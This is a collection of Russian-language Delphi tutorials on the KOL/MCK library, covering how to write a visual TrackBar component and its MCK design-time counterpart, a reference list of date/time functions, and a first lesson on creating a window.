Статьи по Delphi (011)…
Создание компонентов для KOL и MCK - Часть 3 - Создание визуального KOL компонента.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Жаров Дмитрий aka Gandalf WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь
Создание визуального KOL компонента: Сфера вид сбоку.
На самом деле создание визуальных компонентов под KOL и MCK не сильно отличается от создания не визуальных, но некоторые различия все же есть, они следует из разницы между визуальными и не визуальными компонентами вообще: 1. Наследование 2. Создание (New) 3. Сообщения (Events) Пойдем по порядку. Наследоваться можно от TObj как и мы делали для не визуальных компонентов, а можно от TControl второй способ рекомендован Кладовым. И в данной главе мы рассмотрим именно его. Вообще наследование от TControl имеет один недостаток, который поначалу пугает - нельзя вводить свои переменные в новый тип, вы скажите, что без этого создать компонент нельзя, но не беспокойтесь этот дефект довольно легко обходится. Именно из-за этого дефекта появилась идея наследоваться от TObj, но как показала практика его нечего, боятся, это даже не дефект это особенность. Так же выяснилось, что наследование TObj добавляет массу проблем, при создании MCK компонента, не говоря уже о KOL. Да и при доведении до полной работоспособности код становится очень громоздким (в 3-5 и более раз, что отражается на размере откомпилированного файла), плохо адаптируемым к новым версиям KOL .Все же идея изначально была неплоха и в данной статье она рассматривается. С наследованием решили, теперь создание, опять же чтобы не водить по воздуху руками возьмем в качестве примера много страдальным TrackBar.
unit KOLMHTrackBar;
interface
uses
windows, messages, KOL;
type
PMHTrackBar =^TMHTrackBar;
TKOLMHTrackBar = PMHTrackBar;
TMHTrackBar = object(TControl)
private
function GetOnScroll: TOnScroll;
procedure SetOnScroll(const Value: TOnScroll);
function GetFrequency: DWord;
procedure SetFrequency(const Value: DWord);
procedure SetOrientation(const Value: TTrackBarOrientation);
function GetOrientation: TTrackBarOrientation;
public
procedure Recreate;
procedure ClearSel;
property Orientation: TTrackBarOrientation read GetOrientation write SetOrientation;
property Frequency: DWord read GetFrequency write SetFrequency;
property Position: DWord index 2 read GetVal write SetVal;
property OnScroll: TOnScroll read GetOnScroll write SetOnScroll;
end;
const
TRACKBAR_CLASS = 'msctls_trackbar32';
TBS_AUTOTICKS = $0001;
TBS_VERT = $0002;
TBS_HORZ = $0000;
TBS_TOP = $0004;
TBS_BOTTOM = $0000;
TBS_LEFT = $0004;
TBS_RIGHT = $0000;
TBS_BOTH = $0008;
TBS_NOTICKS = $0010;
TBS_ENABLESELRANGE = $0020;
TBS_FIXEDLENGTH = $0040;
TBS_NOTHUMB = $0080;
TBS_TOOLTIPS = $0100;
TBM_GETPOS = WM_USER;
TBM_GETRANGEMIN = WM_USER + 1;
TBM_GETRANGEMAX = WM_USER + 2;
TBM_GETTIC = WM_USER + 3;
TBM_SETTIC = WM_USER + 4;
TBM_SETPOS = WM_USER + 5;
TBM_SETRANGE = WM_USER + 6;
TBM_SETRANGEMIN = WM_USER + 7;
TBM_SETRANGEMAX = WM_USER + 8;
TBM_CLEARTICS = WM_USER + 9;
TBM_SETSEL = WM_USER + 10;
TBM_SETSELSTART = WM_USER + 11;
TBM_SETSELEND = WM_USER + 12;
TBM_GETPTICS = WM_USER + 14;
TBM_GETTICPOS = WM_USER + 15;
TBM_GETNUMTICS = WM_USER + 16;
TBM_GETSELSTART = WM_USER + 17;
TBM_GETSELEND = WM_USER + 18;
TBM_CLEARSEL = WM_USER + 19;
TBM_SETTICFREQ = WM_USER + 20;
TBM_SETPAGESIZE = WM_USER + 21;
TBM_GETPAGESIZE = WM_USER + 22;
TBM_SETLINESIZE = WM_USER + 23;
TBM_GETLINESIZE = WM_USER + 24;
TBM_GETTHUMBRECT = WM_USER + 25;
TBM_GETCHANNELRECT = WM_USER + 26;
TBM_SETTHUMBLENGTH = WM_USER + 27;
TBM_GETTHUMBLENGTH = WM_USER + 28;
TBM_SETTOOLTIPS = WM_USER + 29;
TBM_GETTOOLTIPS = WM_USER + 30;
TBM_SETTIPSIDE = WM_USER + 31;
TBTS_TOP = 0;
TBTS_LEFT = 1;
TBTS_BOTTOM = 2;
TBTS_RIGHT = 3;
TBM_SETBUDDY = WM_USER + 32;
TBM_GETBUDDY = WM_USER + 33;
TBM_SETUNICODEFORMAT = CCM_SETUNICODEFORMAT;
TBM_GETUNICODEFORMAT = CCM_GETUNICODEFORMAT;
TB_LINEUP = 0;
TB_LINEDOWN = 1;
TB_PAGEUP = 2;
TB_PAGEDOWN = 3;
TB_THUMBPOSITION = 4;
TB_THUMBTRACK = 5;
TB_TOP = 6;
TB_BOTTOM = 7;
TB_ENDTRACK = 8;
TBCD_TICS = $0001;
TBCD_THUMB = $0002;
TBCD_CHANNEL = $0003;
Visible2Style: array [Boolean] of DWord = ($0, WS_VISIBLE);
Orientation2Style: array [TTrackBarOrientation] of DWord = (TBS_HORZ, TBS_VERT);
function NewMHTrackBar(AParent: PControl; Visible: Boolean; Orientation: TTrackBarOrientation;
OnScroll: TOnScroll): PMHTrackBar;
implementation
type
PTrackbarData = ^TTrackbarData;
TTrackbarData = packed record
FOnScroll: TOnScroll;
FOrientation: TTrackBarOrientation;
FFrequency: DWord;
end;
function WndProcTrackbarParent( Sender: PControl; var Msg: TMsg; var Rslt: Integer ): Boolean;
var
D: PTrackbarData;
Trackbar: PMHTrackbar;
begin
Result := FALSE;
if (Msg.message = WM_HSCROLL) or (Msg.message = WM_VSCROLL) then
if (Msg.lParam <> 0) then
begin
Trackbar := Pointer( GetProp( Msg.lParam, ID_SELF ) );
if Trackbar <> nil then
begin
D := Trackbar.CustomData;
if Assigned( D.FOnScroll ) then
D.FOnScroll( Trackbar, Msg.wParam );
end;
end;
end;
function NewMHTrackBar(AParent: PControl; Visible: Boolean; Orientation: TTrackBarOrientation;
OnScroll: TOnScroll): PMHTrackBar;
var
D: PTrackbarData;
begin
DoInitCommonControls( ICC_BAR_CLASSES );
Result := PMHTrackbar(_NewCommonControl(AParent, TRACKBAR_CLASS, WS_CHILD or
Visible2Style[Visible] or TBS_FIXEDLENGTH or TBS_ENABLESELRANGE or
Orientation2Style[Orientation], False, 0));
GetMem(D, Sizeof(D^));
Result.CustomData := D;
D.FOnScroll := OnScroll;
AParent.AttachProc(WndProcTrackbarParent);
end;
procedure TMHTrackBar.Recreate;
begin
end;
function TMHTrackBar.GetFrequency: DWord;
var
D: PTrackbarData;
begin
D := CustomData;
Result := D.FFrequency;
end;
procedure TMHTrackBar.SetFrequency(const Value: DWord);
var
D: PTrackbarData;
begin
D := CustomData;
D.FFrequency := Value;
Perform(TBM_SETTICFREQ, Value, 1);
end;
function TMHTrackBar.GetOrientation: TTrackBarOrientation;
begin
Result := PTrackbarData(CustomData)^.FOrientation;
end;
procedure TMHTrackBar.SetOrientation(const Value: TTrackBarOrientation);
begin
PTrackbarData(CustomData)^.FOrientation := Value;
Recreate;
end;
function TMHTrackbar.GetOnScroll: TOnScroll;
var
D: PTrackbarData;
begin
D := CustomData;
Result := D.FOnScroll;
end;
procedure TMHTrackbar.SetOnScroll(const Value: TOnScroll);
var
D: PTrackbarData;
begin
D := CustomData;
D.FOnScroll := Value;
end;
procedure TMHTrackbar.ClearSel;
begin
Perform(TBM_CLEARSEL, 1, 0);
end;
function TMHTrackbar.GetPosition: DWord;
begin
Result := Perform(TBM_GETPOS, 0, 0);
end;
procedure TMHTrackbar.SetPosition(const Value: DWord);
begin
Perform(TBM_SETPOS, 1, Value);
end;
end.
Исходный код приведен не полностью, поскольку он довольно велик, из него были извлечены фрагменты, не содержащие информацию обучающего характера, если вы все же хотите увидеть весь код, вы можете найти их в Интернете или написать мне. Посмотрим, что у нас есть - создание:
function NewMHTrackBar(AParent: PControl; Visible: Boolean; Orientation: TTrackBarOrientation;
OnScroll: TOnScroll): PMHTrackBar;
var
D: PTrackbarData;
begin
DoInitCommonControls( ICC_BAR_CLASSES );
Result := PMHTrackbar(_NewCommonControl(AParent, TRACKBAR_CLASS, WS_CHILD
or Visible2Style[Visible] or TBS_FIXEDLENGTH or TBS_ENABLESELRANGE or
Orientation2Style[Orientation], False, 0));
GetMem(D, Sizeof(D^));
Result.CustomData := D;
D.FOnScroll := OnScroll;
AParent.AttachProc(WndProcTrackbarParent);
end;
Начнем с переедаемых параметров - Parent, Visible, Orientation, OnScroll - думаю назначение ясно без комментариев, но достойны ли они идти в качестве постоянных "спутников жизни"? Без Родителя компонент не создать! Видимость можно указать на этапе создания - поэтому выносить ее отдельно не хочется. Ориентацию вообще можно установить только во время создания и поменять нельзя! Событие желательно прикреплять как можно раньше, ну что думаю, возражений нет. Строка:
DoInitCommonControls( ICC_BAR_CLASSES );
Нужна для инициализации "стандартных компонентов" (CommonControls - понятие API). Особенность этой строки заключается в том, что ее необходимо вызывать только один раз, для любого числа ТrаскВаr'ов. И поэтому появляться в New она собственно недолжна, лучше ее поместить в конце модуля.
begin DoInitCommonControls( ICC_BAR_CLASSES ); end.
Тогда если TrackBar(ы) создается(ются) эта строка вызывается, если же нет, то KOL и MCK удалит сам модуль из uses и вызываться она не будет - оптимизация. Хотя есть еще мысль поручить вызов функции MCK части компонента (где-нибудь в SetupFirst) вроде того:
procedure TKOLMHTrackBar.SetupFirst(SL: TStringList; const AName, AParent, Prefix: string);
…
begin
SL.Add(' DoInitCommonControls( ICC_BAR_CLASSES );');
…
Преимущества пока не совсем очевидны, но если договорится, веем оформлять подобные (с точки зрения количества вызовов) функции таким образом (в MCK части компонента) и перед добавлением данной строки осуществлять проверку на ее наличие, то можно облегчить код, а значит и размер программы (заметим, что это отразится и на быстродействии, в положительную сторону) - правда не очень (насчет выгоды не хочу вводить вас в заблуждение - она невелика, мелочь, а приятно). Ладно, далее:
Result := PMHTrackbar(_NewCommonControl(AParent, TRACKBAR_CLASS, WS_CHILD
or Visible2Style[Visible] or TBS_FIXEDLENGTH or TBS_ENABLESELRANGE or
Orientation2Style[Orientation], False, 0));
Просто создание. _NewCommonControl призвана создавать "стандартные компоненты", если хотите обычных вам подойдет _NewControl. Список параметров прост - думаю, разберетесь сами. PMHTrackbar(…) - преобразование типов необходимо, _NewCom… возвращает PControl, а нам нужен PMHTrackBar. А вот, например на Orientation2Style[Orientation] прошу обратить внимание! Некоторые для преобразования типов используют функции - но данная методика через массив, осуществляется проще, работает быстрее, занимает меньше места - советую применять. Далее очень интересный момент, помните, я говорил, нельзя вводить новые переменные, а вот и решение:
GetMem(D, Sizeof(D^)); Result.CustomData := D; D.FOnScroll := OnScroll;
Выделяем память, и передаем указатель на данные стандартному свойству CustomData. Тип PTrackbarData мы определили, и добавили все необходимое нам для счастья переменные. Об освобождении памяти можно забыть, Кладов заботливо сделал это за нас, и она (память) будет заботливо освобождена при уничтожении компонента. Не забудем присвоить уже полученное значение (OnScroll). А теперь тоже интересный и важный момент - создание события (event) - OnScroll:
AParent.AttachProc(WndProcTrackbarParent);И все! Этой строкой, мы только прицепляем (именно прицепляем - добавляем, но не заменяем) обработчик нашему родителю. Именно к родителю, это не специфика KOL и MCK и не моя прихоть особенность API. Но все не так просто, сначала нам пришлось написать функцию:
function WndProcTrackbarParent( Sender: PControl; var Msg: TMsg; var Rslt: Integer ): Boolean;
var
D: PTrackbarData;
Trackbar: PMHTrackbar;
begin
Result := FALSE;
if (Msg.message = WM_HSCROLL) or (Msg.message = WM_VSCROLL) then
if (Msg.lParam <> 0) then
begin
Trackbar := Pointer( GetProp( Msg.lParam, ID_SELF ) );
if Trackbar <> nil then
begin
D := Trackbar.CustomData;
if Assigned( D.FOnScroll ) then
D.FOnScroll( Trackbar, Msg.wParam );
end;
end;
end;
Не вдаваясь в API (это тема не нашей статьи) - она смотрит, что за событие (нам нужен WM_XXSCROLL), и для кого пришло (Handle) и если есть обработчик (OnScroll) пользователя - он выполняется, все. Может возникнуть справедливый вопрос - чем мне не нравится стандартный обработчик OnScroll (он ведь уже есть) - отвечаю нечем, это просто пример. Теперь займемся свойствами. Установка позиции, API позволяет, получит нынешние состояние при помощи функции и установить необходимое, поэтому мы не используем CustomData. Вызов Perform аналогичен SendMessage(Handle,…), т.е. посылает сообщение себе.
function TMHTrackbar.GetPosition: DWord; begin Result := Perform(TBM_GETPOS, 0, 0); end; procedure TMHTrackbar.SetPosition(const Value: DWord); begin Perform(TBM_SETPOS, 1, Value); end;
А вот если API вернуть нынешнее состояние параметра не в состоянии, его предется сохранять в CustomData:
function TMHTrackBar.GetOrientation: TTrackBarOrientation; begin Result := PTrackbarData(CustomData)^.FOrientation; end; procedure TMHTrackBar.SetOrientation(const Value: TTrackBarOrientation); begin PTrackbarData(CustomData)^.FOrientation := Value; Recreate; end; function TMHTrackbar.GetOnScroll: TOnScroll; var D: PTrackbarData; begin D := CustomData; Result := D.FOnScroll; end; procedure TMHTrackbar.SetOnScroll(const Value: TOnScroll); var D: PTrackbarData; begin D := CustomData; D.FOnScroll := Value; end;
Тут показаны методики доступа к CustomData -правда, просто - причем два способа, причем с точки зрения откомпилированного кода он тождественны, выбирайте на вкус, я люблю первый. Вы наверняка заметили в функции SetOrientation вызов Recreate, но сама функция пустая. Как я уже говорил, есть свойства, который в режиме работы поменять можно только пересоздав компонент (Ориентация - например, один из них). Кладов предлагает два выхода: 1. Создать в режиме разработки несколько компонентов с необходимыми наборами свойств, а потом переключать их при помощи Visible (т.е. ненужные скрывать, нужные показывать). 2. В режиме работы, старый уничтожать, а новый создавать с необходимым набором свойств (только в обратном порядки, сначала создать, а потом разрушить - чтобы избежать пропадания компонента и было, откуда копировать свойства). Первый метод громоздок, с точки зрения разработки, да и если у вас много свойств - и вы все хотите менять, то количество компонентов, которое вам понадобиться может быть очень солидным. Второй громоздкий в плане исполнения руками - рутинен. Я предлагаю, чтобы не нагружать разработчика, большим и не нужным кодом, создать один раз Recreate (в KOL модуле) и вызывать его. С точки зрения потерь в эффективности - они небольшие, и появляется исключительно в специфических случаях, а так методики равнозначные. В любом случае имеющаяся сейчас у меня методика воссоздания меня не сильно устраивает. Есть идея войти глубже в KOL, и создать такие методы для TObj и TComponent (а может где и еще). Если у кого есть идеи, пишите - дискуссия открыта. Собственно вот мы и разобрали весь код. Есть еще функция ClearSel, но она банальна и в себе ничего нового не несет. Теперь вы умеете создавать визуальные компоненты, для KOL. Вооружаемся MSDN и в бой! Я хочу сказать, пока глава не окончилась еще пару слов об оптимизации. Человеку свойственна оптимизация, она идет от стремления к совершенству, но это не тема статьи. Есть два типа оптимизации: абсолютная - когда в результате растет и быстродействие и падает объем программы, относительное - когда улучшается что одно, а другое ухудшается (скорость - размер, размер - скорость).Для людей характерен первый вариант (абсолютная), чуть реже они оптимизирует в угоду скорости (это факт). Я хочу рассмотреть оптимизацию в пользу объема. И поступим мы так, возьмем наш TrackBar и посмотрим на следующие свойства:
property Min: DWord…; property Max: DWord …; property Position: DWord …; property SelStart: DWord …; property SelEnd: DWord …; property PageSize: DWord …; property LineSize: DWord …; property ThumbLength:DWord…;
Как мы обычно делаем? SetMax/GetMax, SetMin/GetMin и пошло. А если подумать, они все одного типа. Теперь посмотрим на код функций и процедур Set/Get:
function TMHTrackbar.GetPosition: DWord; begin Result := Perform(TBM_GETPOS, 0, 0); end; procedure TMHTrackbar.SetPosition(const Value: DWord); begin Perform(TBM_SETPOS, 1, Value); end;
Или вот:
function TMHTrackbar.GetMax: DWord; begin Result := Perform(TBM_GETRANGEMIN, 0, 0); end; procedure TMHTrackbar.SetMin(const Value: DWord); begin Perform(TBM_SETRANGEMIN, 1, Value); end;
Можно обобщить как:
property Min: DWord index 0 read GetVal write SetVal;
property Max: DWord index 1 read GetVal write SetVal;
property Orientation: TTrackBarOrientation read GetOrientation write SetOrientation;
property Position: DWord index 2 read GetVal write SetVal;
property SelStart: DWord index 3 read GetVal write SetVal;
property SelEnd: DWord index 4 read GetVal write SetVal;
property PageSize: DWord index 5 read GetVal write SetVal;
property LineSize: DWord index 6 read GetVal write SetVal;
property ThumbLength: DWord index 7 read GetVal write SetVal;
function TMHTrackbar.GetVal(const Index: Integer): DWord;
type RVal = packed record
Com: DWord;
Par1: Byte;
Par2: Byte;
end;
const
Val: array [0..7] of RVal =
(
(Com: TBM_GETRANGEMIN; Par1: 0; Par2: 0),
(Com: TBM_GETRANGEMAX; Par1: 0; Par2: 0),
(Com: TBM_GETPOS; Par1: 0; Par2: 0),
(Com: TBM_GETSELSTART; Par1: 0; Par2: 0),
(Com: TBM_GETSELEND; Par1: 0; Par2: 0),
(Com: TBM_GETPAGESIZE; Par1: 0; Par2: 0),
(Com: TBM_GETLINESIZE; Par1: 0; Par2: 0),
(Com: TBM_GETTHUMBLENGTH; Par1: 0; Par2: 0)
);
begin
with Val[Index] do
Result := Perform(Com, Par1, Par2);
end;
procedure TMHTrackbar.SetVal(const Index: Integer; const Value: DWord);
type RVal = packed record Com: DWord;
Use1: Byte;
Use2: Byte;
Par1: Byte;
Par2: Byte;
end;
const
Val: array [0..7] of RVal =
(
(Com: TBM_SETRANGEMIN; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
(Com: TBM_SETRANGEMAX; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
(Com: TBM_SETPOS; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
(Com: TBM_SETSELSTART; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
(Com:TBM_SETSELEND; Use1:0; Use2:1; Par1:1; Par2: 0),
(Com: TBM_SETPAGESIZE; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
(Com: TBM_SETLINESIZE; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
(Com: TBM_SETTHUMBLENGTH; Use1: 1; Use2: 0; Par1: 0; Par2: 0)
);
begin
with Val[Index] do
Perform(Com, Value*Use1 + Par1, Value*Use2 + Par2);
end;
Как вам, вместо 14 методов 2? Статистику слегка портит THUMBLENGTH, но его можно выкинуть и упростить методы. Можно еще под Com выделять байт и сделать так:
… (Com: TBM_SETRANGEMIN - WM_USER; Use1: 0; Use2: 1; Par1: 1; Par2: 0), … Perform(Com + WM_USER, Value*Use1 + Par1, Value*Use2 + Par2);
Еще экономия. Вы можете сказать, что теперь код стал медленнее, это так, но не сильно - это раз, а во-вторых в деле графического интерфейса - это не самый критичный код (самый критичный отрисовка - а ей руководит ОС). Мда… маленькая вставочка - недаром я хотел ее в отдельную главу оформить.
Создание компонентов для KOL и MCK - Часть 4 - Создание визуальных MCK объектов.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Жаров Дмитрий aka Gandalf WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь
Создание визуальных MCK объектов: Не опять, а снова.
Вообще-то учить вас тут нечему, различий тут еще меньше чем в KOL части, но кое-что еще есть. Визуальные компоненты наследуются от TKOLControl - он специально для этого создан. Мы добавили свое событие, как добавить код, и какой? Ну, это не сложно, потупим так (часть кода вырезана):
uses
Windows, Controls, Classes, mirror, KOL, Graphics, MCKCtrls, KOLMHTrackBar;
type
TKOLMHTrackBar = class(TKOLControl)
private
…
FOnScroll: TOnScroll;
procedure SetOnScroll(const Value: TOnScroll);
…
public
property OnScroll: TOnScroll read FOnScroll write SetOnScroll;
…
end;
Вот и все, будет жить. Да обратите внимание на uses - я его не просто так привел, TOnScroll есть в разных модулях, нам нужен тот, который в KOLMHTrackBar, поэтому порядок следования важен! Чтобы не полагаться на порядок лучше писать KOLMHTrackBar. TOnScroll. Но это событие уже было определено, и мы его переопределили, если создано новое, то надо переопределить процедуру AssignEvents - она занимается регистрацией событий. Делается это так:
protected procedure AssignEvents(SL: TStringList; const AName: string); override; … procedure TKOLMHTrackBar.AssignEvents(SL: TStringList; const AName: string); begin inherited; DoAssignEvents( SL, AName, [ 'OnMyEvent'], [ @OnMyEvent] ); end;
Не много труда! Да вот важный момент, если мы попытаемся сейчас применить компонент, нас обругает компилятор, мол, несоответствие типов (Incompatible types: 'TControl' and 'TMHTrackBar' - если дословно). Чтобы сохранить паритет, надо их привести к одному знаменателю, я предлагаю сделать так - переопределить конструкцию создания:
protected
procedure SetupConstruct( SL: TStringList; const AName, AParent, Prefix: string ); override;
…
procedure TKOLMHTrackBar.SetupConstruct(SL: TStringList; const AName, AParent, Prefix: string);
var S: String;
begin
S := GenerateTransparentInits;
SL.Add( Prefix + AName + ' := PMHTrackbar( New' + TypeName + '( ' +
SetupParams( AName, AParent ) + ' )' + S + ');' );
end;
Благодаря этому коду, у нас теперь будет генерироваться, нет, не New,… а PMHTrackBar(New…. (SetupParams - узнаете)), элементарно. Мы изменили конструкцию генерации! GenerateTransparentInits - нужен для последующей совместимости с KOL и MCK, он пока ничего не делает, но когда будет реализована прозрачность он себя покажет. Для рассмотрения еще одного момента добавим в наш компонент Buddyes - такие окошки, которые располагаются рядом с ТrаскВаr'ом, в качестве их можно назначить любой компонент. В KOL часть такой код:
private function GetHandle(const Index: Integer): HWnd; procedure SetHandle(const Index: Integer; const Value: HWnd); … public … property BuddyRightBottom: HWnd index 0 read GetHandle write SetHandle; property BuddyLeftTop: HWnd index 1 read GetHandle write SetHandle; … function TMHTrackbar.GetHandle(const Index: Integer): HWnd; const Mes: array [0..1] of DWord = (TBM_GETBUDDY, TBM_GETBUDDY); begin Result := Perform(Mes[Index], Index, 0); end; procedure TMHTrackbar.SetHandle(const Index: Integer; const Value: HWnd); const Mes: array [0..1] of DWord = (TBM_SETBUDDY, TBM_SETBUDDY); begin Perform(Mes[Index], Index , Value); end;
А в MCK часть:
private … FBuddyLeftTop: TKOLControl; FBuddyRightBottom: TKOLControl; procedure SetBuddyLeftTop(const Value: TKOLControl); procedure SetBuddyRightBottom(const Value: TKOLControl); published … property BuddyLeftTop: TKOLControl read FBuddyLeftTop write SetBuddyLeftTop; property BuddyRightBottom: TKOLControl read FBuddyRightBottom write SetBuddyRightBottom; … procedure TKOLMHTrackBar.SetBuddyLeftTop(const Value: TKOLControl); begin FBuddyLeftTop := Value; Change; end; procedure TKOLMHTrackBar.SetBuddyRightBottom(const Value: TKOLControl); begin FBuddyRightBottom := Value; Change; end;
Теперь мы можем выбирать компонент из формы и назначать в качестве Buddy, но не торопитесь добавлять код в SetupFirst:
if FBuddyLeftTop <> nil then
SL.Add(Prefix + AName + '.BuddyLeftTop:=Result.' + FBuddyLeftTop.Name + '.GetWindowHandle;');
if FBuddyRightBottom <> nil then
SL.Add(Prefix + AName + '.BuddyRightBottom:=Result.' + FBuddyRightBottom.Name +
'.GetWindowHandle;');
Это не будет работать! Фокус в том мы пытаемся, присвоит Handle объектов до того, когда они созданы, это невозможно. Что же делать? Выход есть! Надо использовать SetupLast. Он займется обеспечением того, чтобы сначала Buddyes были созданы, а потом уже было присвоение кода. Механически это выполняется при помощи изменения положения строк кода. Т.е. сначала идет код создания Buddyes, а потом присвоение Handle. Поступаем следующим образом:
protected
procedure SetupLast(SL: TStringList; const AName, AParent, Prefix: String); override;
…
procedure TKOLMHTrackBar.SetupLast(SL: TStringList; const AName, AParent, Prefix: String);
begin
inherited;
if FBuddyLeftTop <> nil then
SL.Add(Prefix + AName + '.BuddyLeftTop:=Result.' + FBuddyLeftTop.Name + '.GetWindowHandle;');
if FBuddyRightBottom <> nil then
SL.Add(Prefix + AName + '.BuddyRightBottom:=Result.' +
FBuddyRightBottom.Name + '.GetWindowHandle;');
if FToolTip <> nil then
SL.Add(Prefix + AName + '.ToolTip:=Result.' + FToolTip.Name + '.GetWindowHandle;');
end;
Теперь последние штрихи. Вас не раздражают в ОbjесtInsресtоr'е лишние свойства? Они достались нам в наследство от TKOLControl. Уберем их, для этого сделаем фиктивную переменную, и переопределим свойства только, на чтение - такие свойства ObjectInspector прячет:
private … // Фиктивное свойство FNotAvailable: Boolean; … public … property Caption: Boolean read FNotAvailable; property Color: Boolean read FNotAvailable; property Font: Boolean read FNotAvailable; end;
Их больше нет! Теперь запустим компонент, чего не хватает, что режет глаз? Отрисовка, вместо красивого ползунка - прямоугольник и гордым именем. Я не буду давать уроков рисования - рисовать компоненты будете вы, я подскажу, как это реализовать. Сначала переопределим Paint:
protected procedure Paint; override;
Но этого мало, надо сказать MKC, что вы можете отрисовать компонент, но это еще проще:
protected function WYSIWIGPaintImplemented: Boolean; override; function TKOLEditBox.WYSIWIGPaintImplemented: Boolean; begin Result := TRUE; end;
Я помню еще те времена, когда у MCK не было отрисовки совсем, это (меня) страшно злило, и я начал поиски - идея повторять отрисовку MicroSoft меня не вдохновляло (повторять - всегда сложно, а ведь нужно именно повторить). Но никуда не денешься, пришлось рисовать, я, собрав волю в кулак, сделал отрисовку Label, Edit. Пример оказался заразительным сейчас большинства компонентов есть отрисовка. Бог в помощь! Ну вот, пожалуй, и все, действительно все.
Заключение: Пожалуй, не все… Да, я не претендую на полноту изложения. Я сказал не все! Времени не хватило, сил. Набирая эти строки, я обдумываю еще пару глав, кое-какие дополнения, коррективы. Есть компоненты, которым не нужна KOL часть. Есть вариант наследования визуальных компонентов от TObj, еще много чего есть. Есть еще и специфические моменты, с которыми, вы не встретитесь, а если встретитесь, то моя помощь уже вам будет не нужна. Наверно после прочтения этой статьи остались те, кому она не понравилась, те кто ее не понял, те кто поняли, что это не для них. Но я верю, что были и те, кто до прочтения не знал, как создавать компоненты под KOL и MCK , а после прочтения стали их делать. Эту статью я писал для них. И если они есть, я работал не напрасно. Прошу вас KOL и MCK - это точно не VCL. Не городите лишних компонентов, сделайте основные компоненты. Не дублируйте имеющиеся - развивайте их. Возможно, эту статью должен был написать Кладов, но ее написал я…
Справочник по KOL - Функции работы с датами и временем.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Function Now: TDateTime; Возвращает текущую датау и время на вашем компьютере. TDateTime в KOL ни чем не отличается от VCL аналога. TDateTime представляет из себя число с плавающей запятой (т.е. Double), целая часть которого содержит число дней, отсчитанное от некоторого начала календаря, а дробная часть равна части 24-часового дня, т.е. характеризует время и не относится к дате.
Function CompareSystemTime( const D1, D2: TSystemTime ): Integer; Функция сравнивает 2-е записи типа TSystemTime. На выходе: -1 если D1 < D2 0 если D1 = D2 1 если D1 > D2. TSystemTime - структура используемая в Winddows API для хранения данных о датах и времени. IMHO зачастую она даже удобней в использование обычной TDateTime. Подробней конечно можно посмотреть и в Win32.hlp, но всетаки... Для получения системного времени : GetSystemTime Для установки системного времени на вашем компьютере: SetSystemTime.
type PSystemTime = ^TSystemTime; TsystemTime = record wYear: Word; //год wMonth: Word; //месяц wDayofWeek: Word; //день недели wDay: Word; //день wHour: Word; //часы wMinute: Word; // минуты wSecond: Word; // секунды wMilliseconds: Word; // миллисекунды end;
procedure IncDays( var SystemTime: TSystemTime; DaysNum: Integer ); Увеличивает или уменьщает количество дней в записи типа TSystemTime. DaysNum может быть отрицательным.
Procedure IncMonths( var SystemTime: TSystemTime; MonthsNum: Integer ); Увеличивает или уменьщает количество дней в записи типа TSystemTime. DaysNum может быть отрицательным. Правильный результат не гарантирован если число дней превышено для нового месяца.
Function IsLeapYear( Year: Word ): Boolean; . Возвращает true если указанные год Year является высокосным (то есть имеет 29 дней в Феврале).
Function DayOfWeek( Date: TDateTime ): Integer; Возвращает день недели (от 0 до 6) для текушей даты.
Function SystemTime2DateTime( const SystemTime: TSystemTime; var DateTime: TDateTime ): Boolean; Преобразует дату из типа TSystemTime в TDateTime.
Function DateTime2SystemTime( const DateTime: TDateTime; var SystemTime: TSystemTime ): Boolean; Преобразует дату из типа TDateTime в TSystemTime.
Function CatholicEaster( nYear: Integer ): TDateTime; Возвращает дату католического рождества в указаном году.
Урок 1 - Базовые знания о KOL - Наше первое окно.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Базовые знания о KOL
Базовый объект TObj - аналог класса TObject из VCL. TObj мало похож на своего старшего брата, разве что методом удаления Free. Я никогда не применял TObj для дела, поэтому плавно перейду ко второму (самому главному для работы) объекту TControl. TControl может выполнять роль любого визуального обьекта и фактически выполняет обязанности для которых в Delphi отведены десяток классов. Для создания определенного контрола вам надо воспользоваться соответствующим "конструктором" . Под конструктором подразумевается функция, в параметрах у которой указывается родительский объект ( на нем будет находится ваш контрол, если дело касается визуальных объектов). В KOL есть и другие объекты, но про них я расскажу в соответствующих уроках так как они более узкоспециализированны.
Подробнее о теории в статье KOL - кодоэкономичная объектная библиотека для Delphi.
Наше первое окно.
Фактически, это не только ваше первое окно написанное с помощью KOL, но и первая программа с использованием этой библиотеки :).
Для начало удалим все лишнее. Лишним я называю все, что относится к визуальному программированию и VCL. В меню “Project“ выберите “Remove from Project“ и удалите форму. Теперь подредактируем и файл проекта. Нажмите F12 и выберите соответствующий файл.
То, что вы увидите, будет выглядеть примерно так:
program Project1;
uses
Forms;
{$R *.RES}
begin
Application.Initialize;
Application.Run;
end.
Подредактируем текст :
program Project1;
uses
Windows,
messages,
KOL;
{$R *.RES}
begin
end.
Можно конечно удалить и строчку {$R *.RES} (тем самым уменьшив приложение на пару кб), но я предпочитаю оставлять эту строку, чтобы приложение было более красивым (красивые иконки - это моя слабость;) Ну, а теперь можно сохранить наш проект (например под именем L1). Конечно, как вы понимаете, это еще не программа, но запустить ее можете уже и сейчас. Вернемся к KOL.
function NewForm( AParent: PControl; const Caption: String ): PControl;
Для создания формы надо воспользоваться конструктором NewForm. В параметрах у этого конструктора указывается специальный объект Applet (AParent) и заголовок окна (Caption). Вы наверное сразу зададитесь вопросом: что такое Applet ? Для ответа на этот вопрос надо вспомнить то, о чем я говорил об обьекте TControl (ну, насчет того, что в параметрах конструктора визуальных контролов обычно указывается объект, на котором находится контрол). Так Applet - это объект, "на котором" создается окно. Если у вас одно окно, то этот объект создается автоматически и не надо пользоваться его конструктором.
function NewApplet( const Caption: String ): PControl;
